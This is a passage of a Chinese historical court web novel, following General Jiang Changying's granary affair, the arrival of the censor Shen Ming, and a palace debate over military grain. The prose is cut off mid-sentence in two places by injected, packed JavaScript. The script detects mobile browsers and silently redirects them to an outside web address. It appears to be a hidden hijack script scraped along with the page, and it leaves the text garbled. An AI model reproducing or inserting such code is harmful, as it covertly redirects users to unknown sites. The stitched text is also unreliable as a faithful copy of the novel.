北林听了乔广陵的陈述,倒是颇为意外,一是乔广陵说话间揭掉了一瞬的阴霾,好像那低落只是北林的错觉,二是平日对乔广陵偏心的晁三易居然真的罚了乔广陵。 北林喃喃道:“奇怪,晁阁老,应该更希望你袖手旁观才对啊,怎么回事?” “你说什么?” “晁阁老理应不会让你过多参与姜家的事,他罚你,不一定真的是生你的气,可能……” “你错了,北林,这不是姜家的事,这是关乎江南九城黎民生死存亡,是为官者应当心系的大事。” 北林垂眸,看到乔广陵手里紧紧攥着一卷案宗,拇指在封条处摩挲着。 ****** 姜长鹰站在廊下,身上披挂着一件黑色外袍。 “连雨催池莲,露重滞飞鹭。雾淫惑心悟,仁满难全人。”姜长鹰回首,妻子宴深着一身湖蓝常服缓缓走近,尽管已经是生儿育女的人,但岁月没有退却她的倾城妩媚,倒是平添了典雅风韵。她伸手示意,掌灯的侍女把灯递给了她便行礼退下。 见到妻子,姜长鹰的疲惫焦灼去了八分,他接过妻子手里的灯,用另一只手自然的将她揽近,道:“双若,你方才念的是什么?” “此乃姜二公子所作,看我夫君在雨下郁郁寡欢的模样,忽觉得此情此景对应此诗,恰到好处呢。” 姜长鹰笑道:“双若啊,这些年,你可真是一点没变,还是那么的……。” 姜长鹰拉长了声音,妻子宴深挑眉笑道:“刁蛮?哼,姜大人不也一样,这么多年过去,你行事还是那么踟蹰,瞻前顾后,但是到了关键时刻……”宴深顿了顿:“你又总是那么的豪气干云,不顾一切。” 姜长鹰嘶的吸了口凉气,皱着眉又藏不住笑意道:“我就当你是在夸我吧。说完有叹了口气道:“有你和孩子们,特别是这几年,我觉得今后不管遇到什么事,我必须,更……”姜长鹰似乎在思考用词“更周到,至少,不能像十年前那样。” 十年前…… ****** 十年前! 雨夜漆黑,天空散着墨,淅沥沥没有尽头。 斥候没在雨中,脸色和夜色一样阴森。他们就如伫立的雕塑,眼神盯着的方向,成股的流民朝着坞城涌去。 斥候将流民的事报给姜长鹰。 “坞城?”众人都顿感不妙。 “确切的说,是观澜仓。”宋露 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宋露道:“眼下这些人成股流窜作乱,在朝廷那里已经可以被定性为暴民了,自古暴民都是镇压,况且按照大程律法,擅动军资,按律当诛。” 江出诧异道:“镇压?可他们是手无寸铁的百姓啊。” 黄碚也说:“况且但凡流民没有动手,我们都没有采取强制镇压手段的理由,一旦轻举妄动,岂不是适得其反,引起民怨,怕是会有更大的暴乱。” 江南布政史陆谦袁上奏了流民之事,朝廷的镇压的命令下来之前,姜长鹰不会去动百姓。尽管以往地方官员行事,遇到暴民会直接镇压,因为心知等到朝廷的命令下来,也肯定是“抚恤为主,镇压为辅。”而暴民作乱,是抚慰还是镇压,只要平息了,朝廷也不会深究。 姜长鹰一面调配剩余的季鹰军镇守观澜仓,一面让坞城知尹开城接纳流民,但坞城知尹徐庆山以暴民霍乱为由拒绝开城。僵持不下,徐庆山示弱道:“姜帅,恕下官没有这样的魄力和胆识,我做为坞城知尹,按部就班封城赈灾,防止疫病蔓延,确保我城中百姓能在此次水患中苟活尚且艰难,更遑论接纳一帮暴民,如今粮食和草药告急,再放暴民入城,就算下官答应了,城中百姓也不会答应啊,届时民怨沸腾,城中百姓和暴民之间再起冲突,只会造成更加难以控制的局面。” 姜长鹰无法,他军衔虽高,却也不能直接命令一城的父母官。他此次只是协助赈灾的,在这里,他能说得上话的场合其实十分有限。 姜长鹰低估了流民的胆量,他们并未试图进坞城,而是直奔观澜港,大有破釜沉舟的架势。季鹰军把守观澜港,流民无法靠近。起初季鹰军的威名加上眼前整装蓄势的队伍,流民不敢轻举妄动,但是饥饿和死亡逐渐成为了他们心里唯一的恐惧,蠢蠢欲动的流民越来越多。不断有人叫骂,无论流民说什么,季鹰军皆岿然不动。 某天,流民中有人骂道:“季鹰军的粮食多出自观澜仓,那都是我们江南九城百姓辛苦种出来的,粮食进了观澜仓,就成你们的了,你们季鹰军名义上是保护我们百姓,可事实呢,你们只是在保护你们自己。北方是你们的家,你们守自己的家,却要吃我们的粮,现在我们遭了难,你们霸占着我们的粮,不给我们,还要用对付北方赖子的武器来对付我们!好个季鹰军,呸!操她娘的季鹰军!” 人群炸开了锅,群情激奋,抄家伙的抄家伙,扔石头的扔石头,全部朝观澜港的季鹰军招呼过去。 诛心的话回荡在耳,姜长鹰“不可伤及流民百姓”的军令在前,季鹰军很多兄弟都受了伤,但是到底守住了观澜仓。 两天之后,一个染疫的季鹰军兄弟倒在了流民的扔来的砖石下,季鹰军人人绷着一根弦,姜长鹰也一样,多年来主帅和将士们形成的默契在这一刻面临挑战。 雨像是下得倦了,但阴云不散。 人也倦了,但没有一个士兵抱怨。 “开仓。” 把着仓门的是坞城守备军,在姜长鹰平静的语气里,他不可置信道:“什么?” 黄碚上前一步,冲着外围的季鹰军举起了手,又翻过手,手心朝内抓了个拳,领头的立马指挥兄弟们收起防御阵势。流民逐渐静下来,一个个伸着脖子往姜长鹰这里看。 姜长鹰走到守备军面前摊出一只手,平静又有力的说:“责任我姜长鹰来担!” 守备在惶恐中乖乖呈了钥匙,姜长鹰没做犹豫,开了仓门。 海贼常年侵犯南境,加上江南水患,为防止军心不稳,海贼乘虚作乱,江南都指挥使邢柏年一直守在云城,七万云成军整编完备,邢柏年终于抽身去坞城。 都指挥使邢柏年阴沉的目光盯着姜长鹰问:“何为赈灾?” “……” “姜帅,你是大程国的镇北大将,就该拿出你杀伐决断的气概,你以为陛下让你来坞城是来在做修缮河道,排水筑堤的长工的吗?那些事情谁做不得?而且没日没夜一直在做,但是当务之急就是镇压刁民,你却推三阻四,在外面唱红脸,当和事佬。你是觉得布阵使大人做的不够好,你要替他代劳?” 姜长鹰的心沉下去,他道:“我无法下达任何一个镇压命令,何况镇压令还未送达,季鹰军的刀,只沾过北赖敌人的血。” 邢柏年愤然:“你……” 江南布政史陆谦袁面色平和,他沉吟了须臾,开口前努了一下下巴,那撮长髯跟着抖了抖,他抚了一把,打破沉默:“邢大人稍歇,姜大人爱民之心,我等皆能体谅,镇压一事,事关朝廷和陛下清名,本应是抚慰为主,镇压为辅。终究姜帅没有大的过错,但是,观澜仓的军粮……姜帅真的不该如此糊涂啊。” 姜长鹰带着镣铐,被关进了坞城衙门刑狱。 姜长鹰没有被押解入帝都,朝廷下派巡按御史,联合江南都指挥使邢柏年、布政史陆谦袁审理了军粮案。然而两月后,圣旨裁决下达,姜长鹰在这场赈灾里败下阵来,他没能挥戈破局,他失去了暮北战场,失去了十九万季鹰军,从暮北军主帅变成了坞城指挥史。 4. 偷听 “指挥史!”丁越打马奔来,还未靠近便喊。 姜长鹰和黄碚等一众近卫已经整装待发,他要亲自去缮、株、谢等城巡查。他把坞城和观澜港事物交代给长子姜南阗,指挥史佥事宋露留在府中执事。 丁越已经跳下马了,“指挥史,巡按御史沈大人来了。” 姜长鹰和为首的几个面面相觑。 江出:“巡按御史?” 黄碚:“沈大人?”黄碚脑中寻摸了片刻,狐疑道:“莫不是……沈溟?” 江出道:“我记得他在兵马总属司任职?他怎么会来江南?” 指挥府的兵向来对朝廷派来的人颇为防备,姜长鹰深知其中缘由。在江南为官多年,尽管姜长鹰已经习惯了周旋于官场之间,但是他和他的兵,毕竟是武人,他们从来不擅长也不屑官场虚与委蛇那一套。 巡按御史是个临时的差事,但是官职却不小,兵马总属司直属御前,统管永益皇城及周边五城内所有兵马大权,是除了敬天司外最大的兵马实权机构,委派做个巡按御史的确很合适。但是兵马总属司向来不会将手伸到地方,即便是例行巡查,顶多也只会去邻近永益皇城以东的庆东三城。想到这,姜长鹰道:“沈溟能来江南,只有三种情况,自荐、皇命、内阁奏请。” 兵马总属司统管永益皇城军务尚且步履薄冰,若是伸手去督查地方,根本就是分身乏术,即便江南九城有什么问题也该是兵部来管,如今朝中兵部实际在内阁之下,不会越级去烦请兵马总属司的人,自荐这一条怎么看都说不通。乾泽帝对江南九城的事物向来不会亲自过问,何况水患之事自有江南布政史陆谦袁和都指挥使邢柏年主理,那么只剩下内阁奏请这一条。提及内阁,姜长鹰不由自主就会想到那位故人,但是沈溟即便是在内阁的权衡下被安排至此,也离不开晁阁老的考量,这一点,姜长鹰深信不疑。 不管怎样,巡按御史要见,巡查之事亦不能搁置,姜长鹰回过头对着黄碚道:“你带兄弟们先去各城看看,任何情况,不论大小,都命斥候快马报来。” 黄碚还有犹疑;“主子,巡按御史论职级尚在都指挥使、布政史之上,听闻沈溟其人性格桀骜,行事乖戾,我怕比那邢柏年更不好应对,不如我留下。” 姜长鹰道:“你不必过于担忧,好歹他是朝廷命官,此次多半是为处理好水患,使其不牵扯军粮,影响军粮下拨。另外,他此来可能不会过多停留……”没有外人,姜长鹰也没有避讳,直接说:“南境云城驻军七万,历来都在邢柏年的节制之下,他也有可能是冲着南境军去的。你把巡查的事情做好,就是助我了。江出和你一个机灵一个沉稳,你们一起,我放心。” 黄碚还欲说什么,转眸瞥见江出冲他皱了下眉。黄碚闭嘴了。 ****** 姜府卉沁堂,巡按御史沈溟端坐主位,他看着不到而立之年,螓首蛾眉,俊逸萧然,七分贵气,三分纨绔。 侍女奉完茶,宋露恭敬道:“御史大人一路辛苦,且稍歇片刻,指挥史大人即刻便归。” 沈溟三指捻起茶杯,另一只手却并不去拿托碟,就这么拎到鼻尖闻了闻:“嗯,好像不错,江南的茶沾着江南独有的雾气,好像别有风味。” 宋露见他言行举止轻佻,毫不庄重,心道莫不是个权贵少爷混上了这个职位,毕竟兵马总属司是军职,不似文官那版拘泥守礼,又直属御前,不用上阵杀敌,怎么看都像个世袭罔替的贵公子该呆的地方。 这边宋露还在暗自揣度,沈溟已经悠悠地把一杯茶吃了个干净。歪歪的把空杯丢在托碟里,他像是休整完毕,起身豁然道:“姜指挥史府内上下之人皆是轻甲劲装,你看上去像个读书的,是佥事?” “禀御史大人,下官宋露,草字为霜,是姜指挥史的随行佥事。” 沈溟本来故作正经的脸立刻展颜一笑道:“看我说的没错吧。” 宋露被他一惊一乍的言辞弄的有点无措,竟说不出半句曾经信手拈来的恭维之语。凝神片刻后,竟生出一丝厌恶。但是他未表露出半分,正欲和眼前的纨绔扯两句灾情,一来提醒沈溟此来还有棘手的正事要办,二来对于赈灾之事此人恐怕一窍不通,恰可以浇一浇他盛气凌人的气焰。怎料沈溟却盯着他煞有介事的问了句:“你是江南本地人,虽未进永益皇城在朝里为官,但凭自身的才华和坚持,能在布政史陆谦袁麾下任职,实属不易,你怎么舍得放着布政使的胥吏不做,要跟着姜长鹰,做一个小小的指挥史佥事?” 此人来前居然翻看过江南官吏存案? 宋露答:“天元十八年,姜大人初到江南,彼时布政使大人见我生于斯长于斯,恰恰又有着胥吏的办事经验,便调到姜大人麾下,助他赈灾。乾泽元年,额……姜大人留任坞城,圣上的旨意,当时从属之人,皆无变动,就地留任,对应分配差事。” 他答得认真,沈溟继续追问:“当时配合姜指挥史的人不止你一个,事后都回了原职,简言之圣旨所指的是姜长鹰带来的人,你要回到布政史身边,也不会有人说什么。” “御史大人说笑了,布政史胥吏和指挥史佥事皆是为朝廷效力,在下一届末流小官,只听命行事。” “末流小官?听命行事?我任江南巡按御史,是不是这段日子但凡我在,你就得听命于我?” 宋露心道这人果然爱拿手中权柄仗势欺人。随便阿谀道:“自然,为大人驱遣,下官不胜荣幸。” 沈溟看他俯首,勾起嘴角满意的笑着,他扬起下巴,直视前方笑容不变道:“姜指挥史,你回来啦!” 宋露在这一声中略感惊慌,尽管刚刚那句只是想做做样子糊弄眼前这位位高权重的傻子,但是姜长鹰的陡然出现还是令他如芒刺背。 姜长鹰恭敬行礼:“坞城指挥史姜长鹰见过御史大人。未曾远迎,请御史大人见谅。” 沈溟道:“无妨无妨,下次再远迎吧。”他虚扶了扶姜长鹰,迅速打量了这位曾经名扬天下的镇北大将军,顿生希冀之态,忽而悲从中来,兀自深深叹了口气。 巡按御史一会喜,一会悲。屋内的人都有点摸不着头脑,心道这位终于意识到了此行有重任在身? 姜长鹰道:“御史大人,下官已派人前往灾情发作的缮、株、谢等等城巡查,不日便会有消息传回,江南是水患频发的地方,各城皆有防患的经验,不必过于担忧。” 沈溟揉了揉眉心道:“我知道。姜指挥史我有个不情之请。” 姜长鹰拱手道:“御史大人尽管吩咐。” 沈溟放下手,再抬头已经面带嬉笑,道:“在江南这段时间,我能不能借住在贵府上,一来议事方便,二来嘛,姜指挥史上下皆是习武英豪,住着心安。” 屋内众人:…… 是夜,姜长鹰备了一桌酒席,喊了宋露作陪,不料沈溟以连日奔波,鞍马劳顿为由拒绝了。汇霞阁靠东,与姜府主院间隔着碧湖假山,沈溟对这个住处似乎很满意。在歇息处酒足饭饱之后,沈溟随意闲逛,穿过假山,走过一段林荫夹道,看见碧湖中的湖心亭隐约传来人声。 江南疏道:“这盘之后,便该回屋睡觉了。” 姜南羿还小,他下巴枕着一只小手,懒散的说:“二哥,我晚上吃撑了,下完这盘棋,咱两比划比划呗。” “读书下棋你可以问我,练剑你该寻大哥,或者近卫哥哥们。” “可大哥被爹遣去观澜港了,估计十天半月都会守在那里。”说完眼里又闪着光说:“而且我一直觉得二哥哥这么聪明,学什么都是一点就透,即便你现在剑法没有大哥厉害,那剑诀肯定了然于心,二哥哥,你以后必定是文武双全,天下无双。” 江南疏稚嫩的脸上浅带笑意,有着和年龄不相符的冷静和成熟:“你为了不睡觉,什么话都敢扯,天下何其之大,真正厉害的人我们甚至都未曾见过。爹爹近来事多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……那又怎样,是威名赫赫的大将军,还是一城指挥史,对爹爹来说,能做到问心无愧足矣。阿娘虽然反对咱们入仕做官,但是最终,还是要看二哥你自己的想法。” 江南疏看着姜南羿正看着棋局发愁,似乎不知道如何落子。他指了指棋盘中关键一处,道:“弟弟,你以后想做官吗?” 姜南羿看向哥哥所指的棋局决胜之处,恍然大悟般迅速落了子,嘴里道:“我没想过,当官得看什么官吧,我更想当将军。” “成功易,守功难,军权难握。爹爹曾经也是一军主帅……但是如今都指挥使、布政史,包括今天来的巡按御史,官职皆在爹爹之上。” 姜南羿倒是不以为意:“那又如何,官职大小不论,只要职责和内心想做的事是匹配的就行。你看爹爹,纵然是做指挥史,也一样深得民心。” “可……”江南疏正要接着开口,忽听连桥上传来啧啧之声。 听了许久墙角的沈溟在一次又一次的震惊中终于忍不住慨叹起来。见露了形,他悠悠的朝兄弟二人走过去。“了不得啊,你们是姜大人的儿子?” 江南疏心下一紧,面上却尽量不表露,弟弟在侧,他率先起身行礼,接了话道:“拜见大人。回大人,我是姜南疏,家中排行第二,这是我五弟,姜南羿。” 姜南羿站在哥哥身后,也跟随着行礼。 尽管听声音知道对话的是两孩子,但是看着跟前一个比一个小不点的两人,沈溟忍不住问道:“你们大多?” 姜南羿回道:“我二哥哥今年十一岁,我七岁。” 沈溟的惊讶只增不减,他眉间带笑,脸上挂着狐疑,坐在江南疏方才的位置,看着他们,换上笑意盈盈的表情说:“天下之大,未见过最厉害的人?长大要当大将军?”沈溟拿方才听到的话反问二人。 “……” “……” 两小不点沉默着,不知如何作答。 沈溟故作神秘道:“小孩,其实最厉害的人,你们早就见过了。” 兄弟二人睁着清澈的四只大眼睛不明所以的互相看看,又看向沈溟。 “那人就是大程国曾经的镇北大将军,季鹰军主帅,你们的爹爹。”沈溟看着被自己的话震惊到的二人,心满意足的笑起来,转头看了看桌上的棋局,顿了片刻又说:“然而你们何其幸运,如此年幼,今日却又见到了天下另一个非常厉害的人。” 姜南羿直言发问:“谁啊?” 他莞尔,厚脸皮道:“我——” 5. 军粮 “陛下,臣兵部梁仪善有本启奏。” 宣政殿内,刚过不惑之年的乾泽帝楚玹高坐名堂,俯视百官,冕旒下目光深沉,不怒而威。 “讲。” 兵部尚书梁仪善持笏行礼,站在列外。“今年第三次军粮调拨,兵部早在今年八月初就已经按照五方军的实际军情和奏报拟好了粮草辎重数目,按道理,八月中旬拨运的票令就该下来了,如今快到九月了,军粮下不来,恐对边境戍守不利。” 户部尚书戴原附言道:“陛下,兵部的军粮数额的奏对户部也在八月初完成了,条陈也已经呈交到了内阁。” 这就轮到内阁答话了。快九月了,内阁既没有批红,也没有驳回,晁三易没有说话,阁部李明维先站出来道:“启奏陛下,今年江南水患灾情奏报已在路上,不日便会传回永益城,内阁需要根据灾情奏报再拟定军粮调拨数额。” “臣以为,不妥!”戴原道:“军粮下拨关乎军情,将士们戍守边关,断没有因为某一个地方的灾患延迟军粮下拨的道理。” “戴大人此言差异,将士、百姓皆为我大程子民,军粮配给和赈灾同样重要,自然要权衡好才能给出个更妥帖的法子来。”李维明道。 “更妥帖的法子?”梁仪善愤然:“军粮数额兵部可是根军地方军情呈报和朝廷督查核实后才拟定的,户部也核对了历年来五方兵马的军粮供给惯例和今年大程粮仓实际情况,如果有什么不妥,或者有别的什么考量,大可给个批驳回执,或召集三方于极甄殿探讨,而不是一拖再拖,于军情于灾情皆无助益。” 宣政殿内窸窸窣窣,内阁顶着压力。 内阁蔡绅闻言站出来:“梁大人执掌兵部,对各方军需自然是心中有数的,将士戍守边关,自然是不能短了他们的粮食,梁大人体恤将士的心情我等能够理解。戴大人执掌户部,除下拨军粮,对大程每项开销更是心中有数,只是除了开支,戴大人似乎忘了,我大程国国库粮食草药等来源,全部依靠地方百姓的辛勤耕耘。” 戴原驳道:“蔡大人,我当然知道,国库取天下之财供天下之费,但事急从权,五方兵马粮草不能拖,江南九城的灾患我户部也不会不管,等不日灾情奏报呈上来,我戴原也会不遗余力,妥善核拟赈灾抚恤事宜。” “戴大人说的有理。” 这一温和的声音响起,宣政殿仿佛顿时变得更加空旷安静。乔广陵鲜少开口,他道:“江南今秋的水患影响的不仅仅是江南九城的灾民,更关乎暮南境军和暮北军明年甚至更久以后的军粮供给。大程向来是敛从其薄,等到灾情一过,江南九城势必要与民修养。敢问戴大人,明年暮北军粮从哪里出?” “自然是依照灾后江南九城的具体收成而定,倘若观澜仓军粮供应不足,则依照惯例应当从擎南调运。” “何时的惯例?” “天元十八年,江南水灾之后,云城军的军粮尚且能够自给自足,暮北军粮供给了四成,其余则从擎南或者宣中祥麟仓调运。” “天元十八年的赈灾粮又是何时下拨,又下拨了多少,供给药材粮种多少?灾后修缮,农田重整又历时多久?” “呃……” 天元十八年江南九城水灾和疫病肆虐,姜长鹰私自打开观澜仓,凭借对暮北军粮需求的熟悉,将观澜仓的粮食草药一部分用于赈灾,事后将罪己书和观澜仓粮食药材账册递交给了都指挥使邢柏年。天元十八年的江南水患是被妥善平复了的,姜长鹰打开观澜仓,也在紧要关头给了灾民们生的希望。只是没人想过,如果姜长鹰没有打开观澜仓,别说军粮供给,恐怕乾泽元年江南九城依然会是饿殍遍野。 戴原张了张嘴,在这个间隙思忖了片刻,越是细想,却越发不敢回答,乔广陵看着他微抬的头复又沉下去,接着开口:“陛下,内阁已经拟出了初步的军粮调拨和赈灾粮供给方案,但是在此之前,我有一事想请问兵部尚书大人。” 梁仪善突然被乔广陵点了,心下百转,一时间没有头绪。 乔广陵道:“江南都指挥使八月初递呈给兵部的军需奏报中,可有提到水患?” 梁仪善答:“当然没有。” “邢大人作为江南都指挥使,为何偏偏放着辖区内的灾情和守备军调配事宜不管,只对军粮上心?”乔广陵语气平静,但是话里却露着寒意。 江南水患的呈报是江南布政史陆谦袁传入永益城的。但是一月过去了,水患发作必定要调派军备,兵部却没有收到邢柏年对灾情的呈报和守备军调度的报备,只是在每年军粮下拨的前夕按例上报了江南云城军需,以及江南九城守备军军需。这看上去没错,但是邢柏年隶属于兵部,他对水患只字不提,就好似是为了给兵部能够顺利的早早拟定军粮,尽快下拨军粮做配合。虽然这样说未免有攻讦之嫌,但是朝堂之上据理力争,这些空子钻起来对于上位者来说更是一种矫正官员行为的方法。 邢柏年远在江南,面对这样牵强的揣测,兵部梁仪善本来听着不痛不痒,但是乾泽帝微微蹙眉,冷哼了一声,吓得梁仪善不由捏紧了手里的玉笏。 乾泽帝把梁仪善的忐忑尽收眼底,反而多想了一想,“如果兵部和五方军有勾结……”他心里这样想,便存了疑,又看向乔广陵说:“乔大人,你方才说内阁拟出了初步的军粮调拨方案和赈灾粮供给方案,先说来听听。” “是。”乔广陵盯着前方地上的金砖笔挺着身体,说:“重新拟定军粮供给仓,改变军粮押运路线。” 安静的殿内升腾起一阵噫叹和低语。 户部尚书戴原道:“乔大人,大程各粮仓配给哪一方军自卯正年就已经定了,换仓拨粮,且不说粮官和军中接洽会有诸多不便,就是这运粮途中,粮官不熟悉地形,也会耽搁军粮的押运的时间。今年第三次下拨军粮本就延误了,仓促做这个决定,往大了说,恐会影响军情。” “戴大人所言有理,此次换仓拨粮为的就是既不影响军务,也不贻误灾情。暮北军粮供给仓在坞城,一南一北相去千里,遇到灾年,暮北军粮还要从擎南调运,先是陆运到观澜仓,再走海运到暮北,耗时耗力不说,一旦遇上天公不美,还会对粮草药材这些物资造成损耗。可见,戴大人所说的不便,其实无论怎样都是存在的。换仓,其实就是就近配给。” “可是……”兵部左侍郎秦迅说到:“乔大人,祝城仓是永益皇城军的供给仓,万万动不得,暮北军兵马十九万,是我大程最庞大的军队,粮草消耗惊人,而江南良田众多,粮食草药产量也是首位,观澜仓乃天下第一仓,这天下第一仓直给暮北军,合情合理啊。” “未必!难道这天下第一仓的粮食,只有暮北军配得上吗?” 秦迅本没有这层意思,乔广陵少有的凌厉之色不禁让戴原深感诧异。其实乔广陵和曾经的暮北军有龃龉,曾经亲临暮北做季鹰军监军,后来季鹰军惨败,乔广陵和时任季鹰军主帅的姜长鹰关系破裂。这段陈年往事大程国朝野上下无人不知,此次乔广陵借着下拨军粮的事将暮北军粮从暮北军手里换掉,这种以公报私怨的事情谁都看出来,奈何乔广陵堂而皇之拿出来攻讦戴原,反倒是让人无话可说。 乾泽帝抬了抬眼,他虽然也知道乔广陵有报私之嫌,但是乔广陵问讦秦迅的话,还是钻进了他的心里,暮北军做大,享受大程国优待持续多年,今时今日,所有人都觉得这是理所当然了,这也让乾泽帝十分不悦。 梁仪善方才被乔广陵的话绕进去了,现在作势维护秦迅,说:“乔大人别急着诛心,秦大人也是就是论事,且不说十九万的暮北军军粮消耗惊人,只有观澜仓能够一次性直接下拨,就是运输也是走最便捷的海运,运得多,也运得快。再说,擎南、宣中、醉临等地区的守备军军粮供给都是本地仓,难道乔大人也觉得这些地方也要换仓?。” “当然要换,今年醉临的下滩郡仓、擎南的盈城仓、宣中的祥麟仓供给暮北,那这些地方的粮食自然从观澜仓出,云城军有军屯,七万云城军有云城仓足以。” 戴原却不以为然,“醉临、擎南、宣中这三地的粮,不供应本地的守备军,却要千里迢迢往暮北送,而自己的军粮却要从远在江南的观澜仓调拨,这笔账不划算。乔大人,如此大费周章,舍近求远,真的是为了军粮及时下拨吗,还是为了别的什么?” 戴原意有所指,就差把乔广陵和暮北军的私事挑明了说了,虽说这样的揣度人人都会有,却不可在朝堂上率先说出来,这反倒自降格调,失了先机,是朝堂论辩的大忌,正中乔广陵下怀。 乔广陵云淡风轻,坦然相视,看得戴原发虚。 但是乔广陵今日这般堂而皇之提出换仓拨军粮,俨然一副身正不怕影斜的模样,底气何来? 且不说此举会惹人猜疑他报私仇,但就这件事本身来说,阻力亦很大,听上去就如戴原所说的大费周章,费时费力,包括兵部在内的大多数朝廷官员肯定会反对,乾泽帝更不会轻易点头。今天的乔广陵为何在这件事上如此坚持?梁仪善有点不安。 难道乔广陵这个提议已经得到了晁三易的认可?并且整个内阁私底下已经将所有条程商议完善? 众人在这短暂的寂静中做着揣测,乔广陵方才悠悠开口,顺着戴原的话说:“为了军粮及时下拨,为了江南水患尽快平复还不够吗,难不成我是为了从中得到什么好处不成?” 谋求好处?乔广陵这样一个在官场上并不钻营的人,谋求私利,绝无可能。 朝堂一时无言,乾泽帝看向晁三易,他似有所感,只见他已经挪动了脚步,缓缓走出来,“陛下,换仓拨粮听上去变动多,实则用的是就近供粮的法子,这也是眼下解决暮北军粮燃眉之急的唯一办法了。” “这么说来,阁老也赞同乔爱卿所说的换仓拨粮。?” “回陛下,大程五方军,除了暮北土地贫瘠旱寒没有军屯,其余四方若非有灾情战事、流寇做乱等情况,粮食勉强皆可自足,且如今天下太平,各方安定,擎南、醉临、宣中本就有义仓,军粮下拨迟一些也无妨,但是暮北时常交战,十九万兵马的粮食消耗巨大,眼下江南灾情四溢,姜指挥史忙着赈灾腾不出手,且赈灾粮若从别地出,又怕是远水近火。换仓供给,各方互相周转,可做到稳军心,平水患,安灾民。” ****** 琼琚楼位于永益城西边的祥云街,璃王楚珩,当今陛下的六弟以闲王自居,每年中有半数时光都消磨于此。“芙蓉不及美人妆,水殿风来珠翠香[ 唐·王昌龄《西宫秋怨》]。但是这常伴君王左右的美人,虽美却失了自在风韵。”楚珩坐在圈椅里,牛角绢扇开开合合。透过虚掩的幔帐,望着湖中舞榭里的舞姬。 “这世上哪有真正自在之人啊。”周岑将茶抿了一小口,轻轻的放下。“若说风韵,君王侧畔的美人,风韵不彰于外,寻常人是无福享见的,而这水榭歌台里的风韵,确是刻意为了叫我等看见的。说起来,又有几分真几分假呢?” “君王侧畔的美人,无福享见……”楚珩重复着,琢磨似的眯起眼,少顷又看向周岑,“内阁近来事忙,周大人怎么倒有闲情逸致和我在这里品茗赏舞?” “朝中之事向来庞杂无绪,内阁也没有清闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111199|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,但是和璃王殿下清谈的机会可是不多的。” 楚珩不想多绕圈子,“我听说内阁提出换仓拨粮,三秋之际,边境军眼巴巴的盼着呢,跟这件事比起来,任何杂事都要先搁一搁。不过看周大人这样子,恐怕早就胸有成竹,尽在掌握了。” “璃王殿下说笑了,周某只是内阁次辅,许多事情都是按国法章程去办,虽说内阁议事也能提出些拙见,但到底没有陛下和阁老那般的深谋远虑,终究只是个奉命办差的罢了。” 换仓拨粮会触及许多人的利益,这其中就包括璃王楚珩。周岑身处内阁又在权斗的中心,自然知道怎样能拿捏一个人的要害。但是楚珩并不想和周岑为伍,他曾是楚玹的谋臣,如今楚玹成为了乾泽帝,此人手段可以想见。况且其真实目的楚珩还并不清楚,不敢轻易松口。 军粮的事情传到楚珩这里,他便觉得这是周岑献计献策的结果,今日周岑拿着军粮的事情为契机和自己密谈,楚珩心下便笃定了这个猜测。 楚珩不语,饶有意味的看着周岑。周岑见状,解释道:“实不相瞒,殿下,周某也是那日在朝堂之上才得知此事。” 楚珩冁然一笑,说:“想必此事也是阁老和乔大人临时敲定的,只是恰逢朝堂提及,便顺口提出了。”他一副不欲深究的姿态,起身走到窗边,拨了几声放在那里的琴,“但我一个闲人,比起那些朝堂上的事情,还是这品茶饮酒、吟诗赏乐更对我的胃口。” 周岑只能起身,看出楚珩已经有了要逐客的意思,“璃王殿下,巡按御史沈大人的灾情奏报不日便能传回永益城了,想必换仓拨军粮的各项事宜也能尽快敲定,等此事忙完下官再来叨扰。” 周岑走出来,在廊下站定,楚珩所在的阁楼地势较高,周围假山环抱,从外围看,看不见究竟,但身处其中能把整个琼琚楼里的布置看到个大概,越往此处靠近,踪迹动线行为举止一览无余。周岑整了整外袍,把景色由近到远赏了一番,感叹道:“真是个妙处,人也是妙人!” 罗途明衔着一枝桂花,嚼着桂枝,靠着一根柱,环抱手臂,一副悠闲之态似是没看见周岑,待人一走罗途明便进屋去了。 —— “走了?”楚珩重新坐在的圈椅里,把周岑用过的杯子扔在煮杯的池中。煮杯池和煮茶的火口镶在桌里,底下隔着红罗炭煨着,楼里的小厮隔一个时辰就拿给煮茶灶换一次碳盒,再将原本煮茶灶里的碳盒放到煮杯池下,取走原本的碳灰。这套煮茶的玩法还是从天元年自宣中兴起。后来大程国勾栏、茶楼、楚馆、船坊里便都流传起来,专门为达官贵人、富商名流准备。 “走了,该来的也要来了。”罗途明不知道什么时候把桂花裁了,把花朵攥满手心,说话间尽数撒进杯池。 楚珩知道罗途明指的是谁,立即冲着纱幔外面的护卫道:“去告诉梁仪善,就说事情我已知晓,若没有良策扭转局势,不必来见。”隐约见外面的护卫抱拳领命,随即转身离去。楚珩回过头,这才注意到罗途明的动作,怒道:“罗子信,你能不能别采花?” 罗途明掸了掸手,“花开一季,终是零落成泥,不采作甚,殿下我专门给您采的。” 楚珩看他笑呵呵的样子也懒得多说什么,“周岑出去的时候神色如何?” “一派坦然,还夸了句殿下是个妙人。” “……妙,人。”楚珩慢慢重复了一句。茶水新开,咕噜噜冒着热气,壶嘴里汩汩喷出的沸水浇进煮杯池里,浮在面上的花被烫出阵阵香气…… 楚珩忽而回神道:“他走时说,‘巡按御史沈大人的灾情奏报不日便能传回永益城……’他说的是沈溟,而不是邢柏年,也不是常驻江南的陆谦袁,难道说,周岑没说谎,换仓拨粮的确不是他布的局?而是……”楚珩一边忖度一边喃喃道,“不对,沈溟去江南不就是内阁举荐的么,难道……” “沈溟?”罗途跪坐到楚珩对面,夹起煮杯池里的茶杯,轻蔑道:“晁阁老怎么会推举他?他这个不靠谱的纨绔,去了也只当是游山玩水罢了。” 